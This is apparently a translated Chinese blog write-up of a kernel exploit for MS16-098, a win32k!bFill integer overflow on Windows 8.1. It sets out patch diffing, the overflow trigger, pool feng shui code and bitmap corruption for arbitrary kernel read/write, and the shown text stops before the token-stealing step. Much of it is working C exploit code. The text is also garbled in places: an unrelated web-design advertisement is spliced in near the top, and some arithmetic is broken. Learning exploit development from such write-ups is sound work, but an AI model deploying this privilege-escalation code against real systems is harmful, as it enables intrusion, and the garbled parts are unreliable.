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從MS16-098看Windows8.1內核漏洞利用

前言

創(chuàng)新互聯(lián)公司是一家專業(yè)提供靖安企業(yè)網站建設,專注與成都網站制作、網站建設、H5建站、小程序制作等業(yè)務。10年已為靖安眾多企業(yè)、政府機構等服務。創(chuàng)新互聯(lián)專業(yè)網站制作公司優(yōu)惠進行中。

在我剛開始接觸內核漏洞時我沒有任何有關內核的經驗，更不用說去利用內核漏洞了，但我總是對于逆向工程和漏洞利用技術非常感興趣。

最初，我的想法很簡單：找到一個目前還沒有可用exploit的可利用漏洞的補丁，從它開始我的逆向工程以及利用的旅途。這篇文章里談及的漏洞不是我的最早選的那個：那個測試失敗了。這實際上是我的第二選擇，我花費了4個月的時間來了解有關這個漏洞的一切。

我希望這篇博客可以幫到那些渴望了解逆向工程和exploit開發(fā)的人。這是一個漫長的過程，而我又是一個內核exploit開發(fā)方面的新手，所以我希望你在閱讀這篇文章時能夠保持耐心。

使用的工具

Expand.exe (用于MSU文件)

Virtual KD http://virtualkd.sysprogs.org/(他們說自己比正常的內核調試要快上45倍是真的)

Windbg (kd)

IDA professional. https://www.hex-rays.com/products/ida/

Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html

Expand.exe的使用

Expand.exe可以用來從微軟更新文件(MSU)和CAB文件中提取文件。

使用以下命令更新和提取CAB文件到指定目錄：

 
 
 
 
    
  
  
  
  
  1. Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO]  
    2. 
  
  
  
  
  2. Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] 
    3.

如果命令后面接地址，會根據符號定義的結構進行dump

!pool,!poolfind和!poolused命令在我分析內核池溢出，進行內核池風水時幫了我很多。

一些有用的例子：

要dump指定地址的內核池頁面布局，我們可以使用以下命令：

 
 
 
 
    
  
  
  
  
  1. kd> !poolused [POOLTYPE] [POOLTAG] 
    2.

要檢索指定池類型中的指定池標記的對象的分配數量：

 
 
 
 
    
  
  
  
  
  1.      
    2. 
  
  
  
  
  2. kd> !poolused [POOLTYPE] [POOLTAG] 
    3.

要為指定的池標記搜索提供的池類型的完整分配的內核池地址空間。

 
 
 
 
    
  
  
  
  
  1. kd> !poolfind [POOLTAG] [POOLTYPE] 
    2.

Windbg使用技巧

相比其他調試器我個人更喜歡Windbg，因為它支持一些很有用的命令，特別是對于內核調試來說。

 
 
 
 
    
  
  
  
  
  1. kd> dt [OBJECT SYMBOL NAME] [ADDR] 
    2.

dt命令使用符號表定義的結構來dump內存，這在分析對象時非常有用，并且可以在對象的符號已導出時了解一些特殊的情況。

使用這個命令時如果不加地址那么會直接顯示這個對象的結構。例如，要查看EPROCESS對象的結構，我們可以使用以下命令。

通過補丁對比來了解漏洞原理

下載好更新文件，我們打開后發(fā)現(xiàn)被修改了的文件是win32k.sys，版本是6.3.9600.18405。當與其舊版本6.3.9600.17393進行二進制對比時，我們使用的是IDA的Zynamics BinDiff插件?？梢园l(fā)現(xiàn)一個發(fā)生了更改的有趣函數的相似性評級是0.98。存在漏洞的函數是win32k!bFill。下面是兩個版本之中的區(qū)別。

diff快速的展示出了一個整數溢出漏洞是如何通過加入一個UlongMult3函數來修補的，這個函數通過相乘來檢測整數溢出。如果結果溢出了對象類型(即ULONG)，則返回錯誤“INTSAFE_E_ARITHMETIC_OVERFLOW”。

這個函數被添加在調用PALLOCMEM2之前，PALLOCMEM2使用了一個經過檢查的參數[rsp + Size]。這確認了這個整數溢出將導致分配小尺寸的對象; 那么問題是——這個值可以被用戶通過某種方式控制嗎?

當面臨一個復雜問題的時候，建議先將它分解為更小的問題。 因為內核漏洞利用是一個大問題，所以一步一步進行似乎是一種好方法。步驟如下：

  1. 擊中存在漏洞的函數
  2. 控制分配的大小
  3. 內核內存池(pool)Feng Shui技術
  4. 利用GDI位圖對象(Bitmap GDI objects)
  5. 分析并且控制溢出
  6. 修復溢出的頭部
  7. 從SYSTEM進程的內核進程對象(EPROCESS)中偷取表示權限的Token
  8. 成功得到SYSTEM權限

Step 1 –觸發(fā)漏洞函數

首先，我們需要了解如何通過查看IDA中的函數定義來擊中漏洞函數?？梢钥闯觯摵瘮翟贓PATHOBJ上起作用，并且函數名“bFill”說明它與填充路徑有關。通過用谷歌搜索“msdn路徑填充”，我得到了BeginPath函數和示例程序。

 
 
 
 
    
  
  
  
  
  1. bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) 
    2.

理論上來說，如果我們使用示例中的代碼，它應該會擊中漏洞函數?

 
 
 
 
    
  
  
  
  
  1. // Get Device context of desktop hwnd 
    2. 
  
  
  
  
  2. hdc = GetDC(NULL);  
    3. 
  
  
  
  
  3. //begin the drawing path 
    4. 
  
  
  
  
  4. BeginPath(hdc);  
    5. 
  
  
  
  
  5. // draw a line between the supplied points. 
    6. 
  
  
  
  
  6. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));  
    7. 
  
  
  
  
  7. //End the path 
    8. 
  
  
  
  
  8. EndPath(hdc); 
    9. 
  
  
  
  
  9. //Fill Path 
    10. 
  
  
  
  
  10. FillPath(hdc); 
    11.

好吧，這沒有實現(xiàn)。所以我在windbg中對每個函數的起始部分都添加了一個斷點。

 
 
 
 
    
  
  
  
  
  1. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() 
    2.

再次運行示例代碼，發(fā)現(xiàn)第一個函數被命中，然后不再繼續(xù)命中最后的函數是EngFastFill。為了不讓深入的逆向分析過程給讀者增加無聊的細節(jié)，我們這里直接給出結論。簡而言之，這個函數是一個switch case結構，將最終會調用bPaintPath，bBrushPath或bBrushPathN_8x8。到底調用哪個則取決于一個畫刷對象(brush object)關聯(lián)的hdc。上面的代碼甚至沒有執(zhí)行到switch case，它在之前就失敗了。我發(fā)現(xiàn)有四種設備上下文類型

  • 打印機
  • 顯示，它是默認值
  • 信息
  • 內存，它支持對位圖對象的繪制操作。

根據提供的信息，我嘗試將設備類型轉換為內存(位圖)如下：

 
 
 
 
    
  
  
  
  
  1. // Get Device context of desktop hwnd 
    2. 
  
  
  
  
  2. HDC hdc = GetDC(NULL); 
    3. 
  
  
  
  
  3. // Get a compatible Device Context to assign Bitmap to 
    4. 
  
  
  
  
  4. HDC hMemDC = CreateCompatibleDC(hdc); 
    5. 
  
  
  
  
  5. // Create Bitmap Object 
    6. 
  
  
  
  
  6. HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); 
    7. 
  
  
  
  
  7. // Select the Bitmap into the Compatible DC 
    8. 
  
  
  
  
  8. HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); 
    9. 
  
  
  
  
  9. //Begin path 
    10. 
  
  
  
  
  10. BeginPath(hMemDC); 
    11. 
  
  
  
  
  11. // draw a line between the supplied points. 
    12. 
  
  
  
  
  12. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));          
    13. 
  
  
  
  
  13. // End the path 
    14. 
  
  
  
  
  14. EndPath(hMemDC); 
    15. 
  
  
  
  
  15. // Fill the path 
    16. 
  
  
  
  
  16. FillPath(hMemDC); 
    17.

事實證明，這正是擊中漏洞函數bFill所需要做的。

 
 
 
 
    
  
  
  
  
  1. Step 2 – Controlling the Allocation Size: 
    2.

來看看分配部分的代碼

在調用分配函數之前，首先檢查[rbx + 4](rbx是我們的第一個參數，即EPATHOBJ)的值是否大于0x14.如果大于，則這個值被乘以3就是這里導致的整數溢出。

 
 
 
 
    
  
  
  
  
  1. lea ecx, [rax+rax*2]; 
    2.

溢出發(fā)生實際上有兩個原因：一是這個值被轉換到32位寄存器ecx中和二是[rax + rax * 2]意味著值被乘以3。通過一些計算，我們可以得出結論，要溢出這個函數的值需要是：

 
 
 
 
    
  
  
  
  
  1. 0xFFFFFFFF / 3 = 0x55555555 
    2.

任何大于上面的值都可以溢出32位的寄存器。

 
 
 
 
    
  
  
  
  
  1. 0x55555556 * 3 = 0x100000002 
    2.

然后，做完乘法的結果又向左移了4位，一般左移4位被認為等同于乘以2 ^ 4。

 
 
 
 
    
  
  
  
  
  1. 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32位寄存器值) 
    2.

目前為止，仍然沒有結論如何去控制這個值，所以我決定閱讀更多關于使用PATH對象進行Windows GDI利用的帖子，看看有沒有什么思路。我很巧合的看到了一篇博文，討論的是MS16-039的利用過程。這篇博文中討論的漏洞與我們當前攻擊的目標函數擁有相同的代碼，就好像有人在這兩個函數中復制粘貼代碼一樣。如果沒有這篇博客，那么我會花費更多的時間在這上面，所以非常感謝你，NicoEconomou。

但是，人們會想當然的認為，可以直接從里面拿到一個偉大的指南，但實際上根本不是這樣。雖然這篇文章真的很有助于利用思路。但真正的價值是，對于一對不同的利用，和我這樣一個根本沒有內核開發(fā)和內核利用經驗的人，我不得不深入到利用過程中的每個方面，并了解它的工作原理。就是說——“授人以魚不如授人以漁”

我們繼續(xù)，那個值是PATH對象中的point數，并且可以通過多次調用PolylineTo函數來控制。觸發(fā)50字節(jié)分配的代碼是：

 
 
 
 
    
  
  
  
  
  1. //Create a Point array  
    2. 
  
  
  
  
  2. static POINT points[0x3fe01]; 
    3. 
  
  
  
  
  3. // Get Device context of desktop hwnd 
    4. 
  
  
  
  
  4. HDC hdc = GetDC(NULL); 
    5. 
  
  
  
  
  5. // Get a compatible Device Context to assign Bitmap to 
    6. 
  
  
  
  
  6. HDC hMemDC = CreateCompatibleDC(hdc); 
    7. 
  
  
  
  
  7. // Create Bitmap Object 
    8. 
  
  
  
  
  8. HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); 
    9. 
  
  
  
  
  9. // Select the Bitmap into the Compatible DC 
    10. 
  
  
  
  
  10. HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); 
    11. 
  
  
  
  
  11. //Begin path 
    12. 
  
  
  
  
  12. BeginPath(hMemDC); 
    13. 
  
  
  
  
  13. // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. 
    14. 
  
  
  
  
  14. for (int j = 0; j < 0x156; j++) { 
    15. 
  
  
  
  
  15.     PolylineTo(hMemDC, points, 0x3FE01); 
    16. 
  
  
  
  
  16.     } 
    17. 
  
  
  
  
  17. } 
    18. 
  
  
  
  
  18. // End the path 
    19. 
  
  
  
  
  19. EndPath(hMemDC); 
    20. 
  
  
  
  
  20. // Fill the path 
    21. 
  
  
  
  
  21. FillPath(hMemDC); 
    22.

通過以point數0x3FE01調用PolylineTo函數0x156次將產生

 
 
 
 
    
  
  
  
  
  1. 0x156 * 0x3FE01 = 0x5555556 
    2.

注意，這個數字小于前面計算產生的數字，原因是實際中當該位左移4位時，最低的半字節(jié)將被移出32位寄存器，而剩下的是小數。另一件值得一提的是，應用程序將向point列表中添加一個額外的point，因此傳遞給溢出指令的數字將為0x5555557。讓我們計算一下，看看它會如何工作。

 
 
 
 
    
  
  
  
  
  1. 0x5555557 * 0x3 = 0x10000005  
    2. 
  
  
  
  
  2. 0x10000005 << 44 = 0x00000050 
    3.

到那時候，將會分配50字節(jié)大小，應用程序將嘗試復制0x5555557大小的數據到那一小塊內存，這將迅速導致一個藍屏，并且我們成功的觸發(fā)了漏洞!

Step 3 – 內核內存池Feng Shui:

現(xiàn)在開始困難的部分：內核池風水

內核池風水是一種用于控制內存布局的技術，通過分配和釋放內存的調用在目標對象分配之前，先使內存處于確定的狀態(tài)。這種想法是想要強制我們的目標對象分配在我們可控對象的附近，然后溢出相鄰的對象并使用發(fā)生溢出的對象來利用內存破壞原語(譯注：所謂的“內存破壞原語”，指的應該是一些可以被利用的指令，比如mov [eax],xxx 可以進行寫)，獲得讀/寫內核內存的能力。我選擇的對象是Bitmap，具有池標簽Gh05(pool tag)，他會被分配給相同的頁會話池，并且可以使用SetBitmapBits/GetBitmapBits來控制寫/讀到任意位置。

發(fā)生崩潰是因為在bFill函數結束時，會釋放分配的對象，當對象被釋放時，內核會驗證內存池中相鄰塊的塊頭部。如果它被損壞，將拋出錯誤BAD_POOL_HEADER并退出。由于我們溢出了相鄰的頁面，所以這個檢查將會失敗，并且會發(fā)生藍屏。

避開這個檢查導致的崩潰的竅門是強制我們的對象分配在內存頁的結尾。這樣，將不會有下一個塊，并且對free()的調用將正常傳遞。要實現(xiàn)這個FengShui需要記住以下幾點：

  • 內核池頁面大小為0x1000字節(jié)，任何更大的分配將分配到大內核池(Large kernel Pool)。
  • 任何大于0x808字節(jié)的分配都會被分配到內存頁的開始。
  • 后續(xù)分配將從內存頁末尾開始分配。
  • 分配需要相同的池類型，在我們的情況下是分頁會話池(Paged)。
  • 分配對象通常會添加大小為0x10的池頭。 如果分配的對象是0x50，分配器將實際分配0x60，包括池頭。

有了這些，就可以開發(fā)內核池風水了，來看看這將如何工作，看看漏洞代碼：

 
 
 
 
    
  
  
  
  
  1. void fungshuei() { 
    2. 
  
  
  
  
  2.     HBITMAP bmp; 
    3. 
  
  
  
  
  3.     // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. 
    4. 
  
  
  
  
  4.     for (int k = 0; k < 5000; k++) { 
    5. 
  
  
  
  
  5.         bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670  = 0xf80 1685 = 0xf90 allocation size 0xfa0 
    6. 
  
  
  
  
  6.         bitmaps[k] = bmp; 
    7. 
  
  
  
  
  7.     } 
    8. 
  
  
  
  
  8.     HACCEL hAccel, hAccel2; 
    9. 
  
  
  
  
  9.     LPACCEL lpAccel; 
    10. 
  
  
  
  
  10.     // Initial setup for pool fengshui.   
    11. 
  
  
  
  
  11.     lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); 
    12. 
  
  
  
  
  12.     SecureZeroMemory(lpAccel, sizeof(ACCEL)); 
    13. 
  
  
  
  
  13.     // Allocating  7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. 
    14. 
  
  
  
  
  14.     HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
    15. 
  
  
  
  
  15.     HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
    16. 
  
  
  
  
  16.     for (INT i = 0; i < 7000; i++) { 
    17. 
  
  
  
  
  17.         hAccel = CreateAcceleratorTableA(lpAccel, 1); 
    18. 
  
  
  
  
  18.         hAccel2 = CreateAcceleratorTableW(lpAccel, 1); 
    19. 
  
  
  
  
  19.         pAccels[i] = hAccel; 
    20. 
  
  
  
  
  20.         pAccels2[i] = hAccel2; 
    21. 
  
  
  
  
  21.     } 
    22. 
  
  
  
  
  22.     // Delete the allocated bitmaps to free space at beginning of pages 
    23. 
  
  
  
  
  23. for (int k = 0; k < 5000; k++) { 
    24. 
  
  
  
  
  24.         DeleteObject(bitmaps[k]); 
    25. 
  
  
  
  
  25.     } 
    26. 
  
  
  
  
  26.     //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. 
    27. 
  
  
  
  
  27.     for (int k = 0; k < 5000; k++) { 
    28. 
  
  
  
  
  28.         CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 
    29. 
  
  
  
  
  29.     } 
    30. 
  
  
  
  
  30.     // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated 
    31. 
  
  
  
  
  31.     for (int k = 0; k < 5000; k++) { 
    32. 
  
  
  
  
  32.         bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0 
    33. 
  
  
  
  
  33.         bitmaps[k] = bmp; 
    34. 
  
  
  
  
  34.     } 
    35. 
  
  
  
  
  35.     // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 
    36. 
  
  
  
  
  36.     for (int k = 0; k < 1700; k++) { //1500 
    37. 
  
  
  
  
  37.         AllocateClipBoard2(0x30); 
    38. 
  
  
  
  
  38.     } 
    39. 
  
  
  
  
  39.     // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. 
    40. 
  
  
  
  
  40.     for (int k = 2000; k < 4000; k++) { 
    41. 
  
  
  
  
  41.         DestroyAcceleratorTable(pAccels[k]); 
    42. 
  
  
  
  
  42.         DestroyAcceleratorTable(pAccels2[k]); 
    43. 
  
  
  
  
  43.     } 
    44. 
  
  
  
  
  44. } 
    45.

可以清楚地看到分配/解除分配的流量，GIF值得一千字

通過分配/釋放調用，顯示實際發(fā)生的事情，內核風水的第一步是：

 
 
 
 
    
  
  
  
  
  1. HBITMAP bmp; 
    2. 
  
  
  
  
  2.         // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. 
    3. 
  
  
  
  
  3.         for (int k = 0; k < 5000; k++) { 
    4. 
  
  
  
  
  4.                 bmp = CreateBitmap(1670, 2, 1, 8, NULL);  
    5. 
  
  
  
  
  5.                 bitmaps[k] = bmp; 
    6. 
  
  
  
  
  6.         } 
    7.

從5000個大小為0xf80的Bitmap對象的分配開始。這將最終開始分配新的內存頁面，每個頁面將以大小為0xf80的Bitmap對象開始，并在頁面結尾留下0x80字節(jié)的空間。如果想要檢查噴射是否工作，我們可以在bFill內調用PALLOCMEM，并使用poolused 0x8 Gh?5來查看分配了多少個位圖對象。另一件事是，如何計算提供給CreateBitmap()函數的大小轉換為由內核分配的Bitmap對象。其實這只是一個近似的計算，需要不斷的嘗試和糾錯，通過不斷的更改位圖的大小，并使用poolfind命令查看分配的大小進行修正。

 
 
 
 
    
  
  
  
  
  1. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. 
    2. 
  
  
  
  
  2.        HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
    3. 
  
  
  
  
  3.        HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 
    4. 
  
  
  
  
  4.        for (INT i = 0; i < 7000; i++) { 
    5. 
  
  
  
  
  5.                hAccel = CreateAcceleratorTableA(lpAccel, 1); 
    6. 
  
  
  
  
  6.                hAccel2 = CreateAcceleratorTableW(lpAccel, 1); 
    7. 
  
  
  
  
  7.                pAccels[i] = hAccel; 
    8. 
  
  
  
  
  8.                pAccels2[i] = hAccel2; 
    9. 
  
  
  
  
  9.        } 
    10.

然后，分配7000個加速器表對象(Usac)。每個Usac的大小為0x40，因此其中有兩個將分配到剩下的0x80字節(jié)的內存中。這將填充前面的分配輪次的剩余0x80字節(jié)，并完全填充我們的頁面(0xf80 + 80 = 0x1000)。

 
 
 
 
    
  
  
  
  
  1. // Delete the allocated bitmaps to free space at beginning of pages 
    2. 
  
  
  
  
  2.         for (int k = 0; k < 5000; k++) { 
    3. 
  
  
  
  
  3.                 DeleteObject(bitmaps[k]); 
    4. 
  
  
  
  
  4.         } 
    5.

下一次分配以前分配的對象將保留有我們的內存頁布局，在頁的開頭有0xf80個空閑字節(jié)。

 
 
 
 
    
  
  
  
  
  1. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. 
    2. 
  
  
  
  
  2.         for (int k = 0; k < 5000; k++) { 
    3. 
  
  
  
  
  3.                 CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 
    4. 
  
  
  
  
  4.         } 
    5.

分配5000個大小為0xbc0字節(jié)的區(qū)域對象(Gh04)。這個大小是必要的，因為如果Bitmap對象直接放置在我們的目標對象附近，溢出它就覆蓋不到Bitmap對象中的我們目標的成員(在后面部分討論)，而我們需要溢出這個目標成員配合GetBitmapBits/SetBitmapBits來讀/寫內核內存。至于如何計算分配的對象的大小與提供給CreateEllipticRgn函數的參數相關，需要通過不斷的嘗試和修正來找到的。

對于feng shui來說，內核頁面在頁的開頭有0xbc0大小的Gh04對象，在頁的結尾有0x80字節(jié)。它們之中有0x3c0個字節(jié)的空閑空間。

 
 
 
 
    
  
  
  
  
  1. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated 
    2. 
  
  
  
  
  2.         for (int k = 0; k < 5000; k++) { 
    3. 
  
  
  
  
  3.                 bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0 
    4. 
  
  
  
  
  4.                 bitmaps[k] = bmp; 
    5. 
  
  
  
  
  5.         } 
    6.

分配大小5000個大小為0x3c0字節(jié)的位圖對象來填充被釋放的內存，位圖對象是我們溢出的目標。

 
 
 
 
    
  
  
  
  
  1. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 
    2. 
  
  
  
  
  2.         for (int k = 0; k < 1700; k++) { //1500 
    3. 
  
  
  
  
  3.                 AllocateClipBoard2(0x30); 
    4. 
  
  
  
  
  4.         } 
    5.

下一步是分配1700個大小為0x60的剪貼板對象(Uscb)，這只是為了在分配我們的模板對象之前填充掉大小為0x60的任何內存。這樣一來當對象被分配時，它幾乎肯定會落入我們的內存布局之中。Nicolas使用這個對象進行了內核噴射，我沒有試圖模擬free或者syscall來做到這一點，然而發(fā)現(xiàn)了一些比較古怪的行為，基本上是使用下面的代碼將東西復制到剪貼板：

 
 
 
 
    
  
  
  
  
  1. void AllocateClipBoard(unsigned int size) { 
    2. 
  
  
  
  
  2.     BYTE *buffer; 
    3. 
  
  
  
  
  3.     buffer = malloc(size); 
    4. 
  
  
  
  
  4.     memset(buffer, 0x41, size); 
    5. 
  
  
  
  
  5.     buffer[size-1] = 0x00; 
    6. 
  
  
  
  
  6.     const size_t len = size; 
    7. 
  
  
  
  
  7.     HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); 
    8. 
  
  
  
  
  8.     memcpy(GlobalLock(hMem), buffer, len); 
    9. 
  
  
  
  
  9.     GlobalUnlock(hMem); 
    10. 
  
  
  
  
  10.     OpenClipboard(wnd); 
    11. 
  
  
  
  
  11.     EmptyClipboard(); 
    12. 
  
  
  
  
  12.     SetClipboardData(CF_TEXT, hMem); 
    13. 
  
  
  
  
  13.     CloseClipboard(); 
    14. 
  
  
  
  
  14.         GlobalFree(hMem); 
    15. 
  
  
  
  
  15. } 
    16.

我發(fā)現(xiàn)，如果你省略掉OpenCliboard，CloseClipBboard和EmptyClipboard直接調用SetClipboardData，那么這個對象會被分配，并且永遠不會被釋放。我猜你多次調用后會發(fā)生內存耗盡，但我并沒有進行測試。此外，我所說的對象不能被釋放，是指即使你使用EmptyCliBoard打開和清空剪貼板，或者連續(xù)調用SetBitmapData和EmptyClipboad也不行。

 
 
 
 
    
  
  
  
  
  1. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. 
    2. 
  
  
  
  
  2.         for (int k = 2000; k < 4000; k++) { 
    3. 
  
  
  
  
  3.                 DestroyAcceleratorTable(pAccels[k]); 
    4. 
  
  
  
  
  4.                 DestroyAcceleratorTable(pAccels2[k]); 
    5. 
  
  
  
  
  5.         } 
    6.

我們的內核FengShui的最后一步就是在分配的加速器表對象(Usac)中打孔，正好創(chuàng)建2000個孔。內核風水函數也是在漏洞被觸發(fā)之前就要被調用的，如果一切順利的話我們的目標對象將被分配到這些孔中的一個，其位置在內存頁的末尾。

Step 4 – 利用Bitmap位圖對象:

位圖對象的結構以SURFOBJ64作為起始，后面接著的是位圖數據，這個對象有三個我們感興趣的成員，sizlBitmap，pvScan0和hdev。sizlBitmap是位圖的寬度和高度，pvScan0是指向位圖數據開始的指針，hdev是指向設備句柄的指針。

 
 
 
 
    
  
  
  
  
  1. typedef struct { 
    2. 
  
  
  
  
  2.   ULONG64 dhsurf; // 0x00 
    3. 
  
  
  
  
  3.   ULONG64 hsurf; // 0x08 
    4. 
  
  
  
  
  4.   ULONG64 dhpdev; // 0x10 
    5. 
  
  
  
  
  5.   ULONG64 hdev; // 0x18 
    6. 
  
  
  
  
  6.   SIZEL sizlBitmap; // 0x20 
    7. 
  
  
  
  
  7.   ULONG64 cjBits; // 0x28 
    8. 
  
  
  
  
  8.   ULONG64 pvBits; // 0x30 
    9. 
  
  
  
  
  9.   ULONG64 pvScan0; // 0x38 
    10. 
  
  
  
  
  10.   ULONG32 lDelta; // 0x40 
    11. 
  
  
  
  
  11.   ULONG32 iUniq; // 0x44 
    12. 
  
  
  
  
  12.   ULONG32 iBitmapFormat; // 0x48 
    13. 
  
  
  
  
  13.   USHORT iType; // 0x4C 
    14. 
  
  
  
  
  14.   USHORT fjBitmap; // 0x4E 
    15. 
  
  
  
  
  15. } SURFOBJ64; // sizeof = 0x50 
    16.

我們利用位圖對象的方式是通過使用受控值來覆蓋sizlBitmap或pvScan0。SetBitmapBits/ GetBitmapBits要驗證讀寫的數據量，就是使用的這兩個對象成員，它表示了位圖可用數據的大小。例如，GetBitmapBits會計算位圖的寬度x高度x4(每像素每個字節(jié)32位，作為CreateBitmap的參數)，來驗證從pvScan0指向的地址可以讀取的數據量。

如果sizlBitmap的成員被更大的寬度和高度值覆蓋，那么它將可以擴大位圖以讀取和寫入數據。在這個漏洞中，例如，它是寬度0xFFFFFFFF×高度1×4。

如果溢出的數據可控，那么我們可以直接使用我們想要讀寫的地址來設置pvScan0成員的值。

將第一個位圖的pvScan0設置為第二個位圖的pvScan0的地址。

使用第一個位圖作為管理器，將第二個位圖的pvScan0指針設置為指向我們要讀寫的地址。

這樣，第二個位圖實際上就可以讀寫這個地址了。

對這個漏洞來說，用于溢出堆的數據不是完全可控的，因為被復制的數據是大小為0x30字節(jié)的point或更特定的邊緣對象。幸運的是，如下一節(jié)所示，被重寫的一些數據可以被間接控制，并且將用值0x1和0xFFFFFFFF覆蓋掉sizlBitmap成員，這會擴大位圖對象可以讀寫的數據量。使用的流程如下。

1.觸發(fā)溢出并覆蓋相鄰位圖對象的sizlBitmap成員。

2.使用擴展位圖作為管理器覆蓋第二個位圖的pvScan0成員。

3.使第二個位圖作為工作者，利用它讀寫由第一個位圖設置的地址。

hdev成員的重要性將在下一節(jié)中詳細討論，主要是它要么會設置為0要么就設置為指向設備對象的指針。

Step 5 – 分析并控制溢出數據:

現(xiàn)在該分析如何控制溢出了，為了更好地理解它，我們需要看看addEdgeToGet函數，這個函數將point復制到新分配的內存中。剛開始時，addEdgeToGet將r11和r10寄存器的值設置為[r9+4]和[r8+4]。

然后會進行檢查，檢查上一個point.y是否小于[r9 + 0c]，而這里是0x1f0。如果是這種情況的話，當前point會被復制到我們的緩沖區(qū)中，如果不是則跳過當前point。還需要注意的是point.y的值向左移動了一些，例如如果前面的point.y = 0x20，則值將為0x200。

現(xiàn)在我們有了控制溢出的原語，我們還需要找出值0x1和0xFFFFFFFF是怎么被復制的。

在第一次檢查中，函數將從表示當前point.y值的ebp寄存器中減去r10中的前一個point.y值。如果得到的結果是unsigned(譯注：js跳轉)，它會將0xFFFFFFFF復制到rdx指向的緩沖區(qū)偏移0x28處。我們這里猜測，這個函數是在檢查當前point.y到前一個point.y的方向。

在第二次檢查中，對point.x也一樣，從表示當前point.x的ebx上減去表示上一個point.x的r8，如果結果是無符號的，函數將復制0x1到我們r15指向的緩沖區(qū)的0x24偏移處。這個操作很有意義，因為它對應于上一個檢查時復制數據到0x28偏移處，而且我們的目的只是想溢出sizlBitmap結構。對于大小為0x30字節(jié)的point結構，也會把1復制到由[r15 + 0x24]指向的對象的hdev成員中。

計算point的數量來溢出緩沖區(qū)以覆蓋sizLBitmap成員是比較容易的，并且該漏洞exploit的執(zhí)行方式是簡單地將上一個point.y值篡改為更大的值。但是這將使前面提到的那些檢查失敗，從而使得這些point不會被復制。來看一下exploit中的代碼片段。

 
 
 
 
    
  
  
  
  
  1. static POINT points[0x3fe01]; 
    2. 
  
  
  
  
  2. for (int l = 0; l < 0x3FE00; l++) { 
    3. 
  
  
  
  
  3.     points[l].x = 0x5a1f; 
    4. 
  
  
  
  
  4.     points[l].y = 0x5a1f; 
    5. 
  
  
  
  
  5. } 
    6. 
  
  
  
  
  6. points[2].y = 20; //0x14 < 0x1f 
    7. 
  
  
  
  
  7. points[0x3FE00].x = 0x4a1f; 
    8. 
  
  
  
  
  8. points[0x3FE00].y = 0x6a1f; 
    9.

這就是最初的point數組被初始化的過程，注意points[2].y的值設置為20，即十六進制中的0x14，小于0x1f，因此將復制后續(xù)的points到我們分配的緩沖區(qū)中。

 
 
 
 
    
  
  
  
  
  1. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { 
    2. 
  
  
  
  
  2.         points[2].y = 0x5a1f; 
    3. 
  
  
  
  
  3.     } 
    4. 
  
  
  
  
  4.     if (!PolylineTo(hMemDC, points, 0x3FE01)) { 
    5. 
  
  
  
  
  5.         fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); 
    6. 
  
  
  
  
  6.     } 
    7. 
  
  
  
  
  7. } 
    8.

然后，一個驗證被添加到調用PolyLineTo的循環(huán)中，以檢查循環(huán)次數是否大于0x1F，如果大于就將points [2].y的值更改為大于0x1F0的值，從而使檢查失敗，由此后續(xù)的point不會再被復制到我們的緩沖區(qū)中。

這樣可以有效地控制溢出，函數會溢出緩沖區(qū)直到下一個相鄰的位圖對象的sizlBitmap成員為0x1和0xFFFFFFFF。這有效的增大了位圖對象，允許我們對這個位圖對象進行越界讀寫。找到到底是哪個位圖對象的方法是通過循環(huán)調用GetBitmapBits函數，如果得到的大小大于從我們的內核池噴出的位圖的原始值則該位圖是被溢出的，那么它是管理器位圖，并且相鄰的下一個是工作者位圖。

 
 
 
 
    
  
  
  
  
  1. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. 
    2. 
  
  
  
  
  2. } 
    3.

